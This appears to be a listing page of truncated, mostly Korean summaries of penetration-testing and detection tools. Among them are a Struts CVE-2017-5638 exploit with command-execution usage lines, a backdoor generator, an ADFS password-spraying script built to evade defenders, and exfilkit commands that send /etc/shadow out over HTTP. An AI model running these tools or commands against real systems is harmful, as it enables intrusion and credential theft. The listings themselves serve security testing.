BlueTeam.Lab

BlueTeam.Lab 목적 이 프로젝트는 오케스트레이션된 BlueTeam Lab을 생성하기 위한 Terraform 및 Ansible 스크립트 세트를 포함합니다. 이 프로젝트의 목표는 레드 팀과 블루 팀이 최신 Windows 환경에서 다양한 공격 및 포렌식 아티팩트를 테스트하기 위해 임시 탐지 랩을 배포하고, 생성된 데이터에 대한 'SOC와 유사한' 관점을 얻을 수 있도록 하는 것입니다. 참고: 이 랩은 의도적으로 안전하지 않게 설계되었습니다. 이 시스템을 중요하게 생각하는 네트워크에 연결하지 마십시오. 랩 구성 사전 요구 사...

Kvasir

Kvasir Kvasir에 오신 것을 환영합니다! 이 디렉터리들에는 침투 테스트 중 효과적인 데이터 관리를 위한 기초 도구가 들어 있습니다. 침투 테스트는 일반적으로 얻는 정보의 양이 많기 때문에 데이터 관리의 악몽이 될 수 있습니다. 취약점 스캐너는 검토해야 할 실제 및 잠재적 취약점을 많이 반환합니다. 포트 스캐너는 몇 개의 호스트에 대해 수천 개의 포트를 반환할 수 있습니다. 이 모든 데이터를 동료와 공유하는 것이 얼마나 쉬운 일일까요? 이것이 바로 Kvasir이 도와드리려는 부분입니다. 시작하는 데 필요한 것은 다음과...

drow

drow Description TL;DR drow is a command-line utility that is used to inject code and hook the entrypoint of ELF executables post-build. It takes unmodified ELF executables as input and exports a modified ELF contianing an embedded user-supplied payload that executes at runtime. Slightly more...

eyeballer

Eyeballer 당신의 스크린샷을 빠르게 훑어보세요. Eyeballer는 대규모 네트워크 침투 테스트에서 웹 기반 호스트의 거대한 세트 중에서 "흥미로운" 대상을 찾아야 할 때 유용합니다. 평소처럼 좋아하는 스크린샷 도구EyeWitness 또는 GoWitness를 사용하여 스크린샷을 찍은 다음, Eyeballer를 통해 실행하면 취약점이 포함될 가능성이 있는 것과 그렇지 않은 것을 알려줍니다. 라이브로 사용해 보세요: https://eyeballer.bishopfox.com 예시 레이블 오래된 사이트| 로그인 페이지...

httprobe

httprobe Take a list of domains and probe for working http and https servers. Install ▶ go install github.com/tomnomnom/httprobe@latest Basic Usage httprobe accepts line-delimited domains on stdin: ▶ cat recon/example/domains.txt example.com example.edu example.net ▶ cat recon/example/domains.txt...

fridump

Fridump Fridump v0.1는 오픈 소스 메모리 덤핑 도구로, 주로 침투 테스터와 개발자를 대상으로 합니다. Fridump는 Frida 프레임워크를 사용하여 지원되는 모든 플랫폼에서 접근 가능한 메모리 주소를 덤프합니다. Windows, Linux 또는 Mac OS X 시스템에서 iOS, Android 또는 Windows 애플리케이션의 메모리를 덤프하는 데 사용할 수 있습니다. 사용법 사용 방법: fridump -h -o dir -U -v -r -s --max-size bytes process 다음은 fridump와 ...

struts-pwn

struts-pwn Apache Struts CVE-2017-5638을 위한 익스플로잇 사용법 단일 URL 테스트 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' URL 목록 테스트 python struts-pwn.py --list 'urls.txt' -c 'id' 단일 URL에 취약점 존재 여부 확인 python struts-pwn.py --check --url...

attifyos

AttifyOS v3.0 AttifyOS는 사물인터넷IoT 기기의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약해 줍니다. 새 버전은 Ubuntu 18.04 64비트를 기반으로 하며, 즉 2023년 4월까지 이 버전에 대한 업데이트를 받을 수 있습니다. 면책 조항 - 적절한 승인을 받은 대상만 테스트하시기 바랍니다. 귀하는 이 도구로 수행하는 모든 행동에 대한 책임을 집니다. 다운로드 링크 Google Drive -...

raider

Raider 로고 빠른 링크 웹사이트. OWASP 페이지. 문서. 설치. FAQ. 시작하기. 아키텍처. 토론. 이슈. 트위터. 페디버스. Raider란 무엇인가 OWASP Raider는 웹 인증 테스트를 개선할 목적으로 개발되었습니다. 지금은 다양한 상태 저장stateful HTTP 프로세스에 사용할 수 있도록 발전했습니다. Raider는 클라이언트-서버 정보 교환을 유한 상태 머신으로 추상화합니다. 각 단계는 입력이 포함된 요청request 하나, 출력이 포함된 응답response 하나, 응답에 대해 수행할 임의의 작업들,...

API-SPY-API-PROBE

API-SPY 🕵️👻 API 정찰 및 침투 테스트를 위해 설계된 강력한 디렉토리 무차별 대입 도구입니다. 숨겨진 API 엔드포인트를 자동으로 발견하고, 재귀적 하위 스캔을 수행하며, HTTP 메서드를 프로빙하여 더욱 심층적인 API 열거를 수행합니다. 기능 ✨ 핵심 기능: 🎯 워드리스트 기반 무차별 대입을 통한 빠른 엔드포인트 발견 🔄 발견된 엔드포인트의 자동 재귀적 하위 스캔 🔍 HTTP 메서드 프로빙 GET, POST, PUT, DELETE, PATCH, OPTIONS ⚡ 향상된 성능을 위한 멀티스레드 스캔 📊 스마트 상태...

sploitego

Sploitego - Maltego의 로컬 공범 1.0 - 소개 Sploitego는 Canari Framework를 사용하여 Maltego에서 로컬 변환transform을 실행하는 로컬 침투 테스트 변환 패키지입니다. 이 프레임워크는 DEFCON 20에서 처음 소개되었으며 그 이후로 점점 인기를 얻고 있습니다. 2.0 - Sploitego 설치하기 2.1 - 지원 플랫폼 Sploitego는 현재 Mac OS X와 Linux에서 테스트되었습니다. 2.2 - 요구 사항 Sploitego는 Python 2.6 버전에서만 지원됩니다...

AutoPentest-DRL

AutoPentest-DRL: 딥 강화 학습을 이용한 자동 침투 테스트 AutoPentest-DRL은 DRLDeep Reinforcement Learning 기술을 기반으로 한 자동 침투 테스트 프레임워크입니다. AutoPentest-DRL은 주어진 논리적 네트워크에 대해 가장 적절한 공격 경로를 결정할 수 있으며, 또한 Nmap 및 Metasploit과 같은 도구를 통해 실제 네트워크에 침투 테스트 공격을 실행하는 데 사용될 수 있습니다. 이 프레임워크는 교육적 목적으로 설계되어 사용자가 침투 테스트 공격 메커니즘을 연구할 ...

SimplesApachePathTraversal

SimplesApachePathTraversal Simples Apache Path Traversal Apache Path Traversal 취약점 테스트를 위한 간단한 도구입니다 https://blog.mrcl0wn.com/2021/10/uma-simples-tool-para-apache-path.html Autor: MrCl0wn Blog: https://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab...

KitHack

Kithack 은 다양한 침투 테스트 도구의 다운로드 및 설치 과정을 자동화하기 위해 설계된 프레임워크로, Metasploit Framework를 통해 플랫폼 간 백도어를 생성할 수 있는 특별한 옵션을 제공합니다. 경고 더 이상 사용되지 않음 DEPRECATED KitHack 호환 배포판: 배포판| 상태 ---|--- Kali Linux| 호환 가능 Ubuntu| 호환 가능 Xbuntu| 호환 가능 Debian| 호환 가능 Raspbian| 호환 가능 Deepin| 호환 가능 Parrot OS| 호환 가능 Arch Linux|...

adfsbrute

adfsbrute Active Directory Federation Services ADFS에 대한 자격 증명을 테스트하는 스크립트로, 조직의 ADFS URL을 계산하고 비밀번호 스프레이 또는 무차별 대입 공격을 허용합니다. 주요 아이디어는 각 테스트 사이에 무작위로 긴 지연 시간을 두고 프록시 목록 또는 Tor를 사용하여 블루팀의 탐지를 더 어렵게 하는 비밀번호 스프레이 공격을 수행하는 것입니다. 무차별 대입 공격도 가능하며, username:password 형식예: Pwndb에서 가져온의 자격 증명을 테스트할 수도 있습니다...

CVE-2015-7501

Java 역직렬화 취약점 실습실 이 콘텐츠는 H2HC 매거진 12호를 위해 작성된 논문과 관련이 있습니다. 전체 논문 보기: https://www.h2hc.com.br/revista/ 발표 슬라이드와 영상은 곧 제공될 예정입니다. Java JVM 환경에서 네이티브 역직렬화 취약점의 기초에 대한 개요 Java 가상 머신JVM에서 역직렬화 취약점에 대한 개요 콘텐츠 이 실습실에는 역직렬화 취약점과 가젯 체인이 이를 어떻게 악용하는지 이해하는 데 도움이 되는 코드 샘플이 포함되어 있습니다. 목표는 새로운 페이로드를 개발하거나 환경을...

exfilkit

exfilkit Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow - HTTP GET requests Server ./exfilkit-cli.py -m...

exfilkit

exfilkit 데이터 유출 탐지 기능 테스트를 위한 유틸리티 설명 보안 제품의 탐지 기능을 테스트하기 위한 데이터 유출 유틸리티입니다. 당연히 합법적인 목적으로만 사용해야 합니다. 유출 방법 /etc/shadow - HTTP GET 요청 서버 ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log 클라이언트 $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -...

Parth

Parth 휴리스틱 취약 파라미터 스캐너 소개 일부 HTTP 파라미터 이름은 다른 기능보다 특정 기능과 더 흔히 연관됩니다. 예를 들어, ?url= 파라미터는 일반적으로 URL을 값으로 포함하므로 파일 포함, 오픈 리디렉션 및 SSRF 공격에 자주 노출됩니다. Parth는 버프 스위트 히스토리, URL 목록 또는 자체적으로 발견한 URL을 분석하여 이러한 파라미터 이름과 일반적으로 관련된 위험을 찾아냅니다. Parth는 테스트할 구성 요소의 우선순위를 정하는 데 도움을 주어 웹 보안 테스트를 지원하기 위해 설계되었습니다. 사용...

V8Harvest

V8Harvest V8Harvest는 V8 취약점 분석을 위해 최근 V8 버그 패턴을 한 페이지에서 확인할 수 있도록 도와줍니다. git log를 사용하여 src/v8/test/mjsunit/ 디렉터리 아래의 모든 regress- 파일을 파싱했습니다. 각 regress 파일에는 자신의 정보와 관련된 다음 링크가 포함되어 있습니다: Chromium 버그 / V8 버그 V8 Git Chromium 코드 검색 Chromium 코드 리뷰...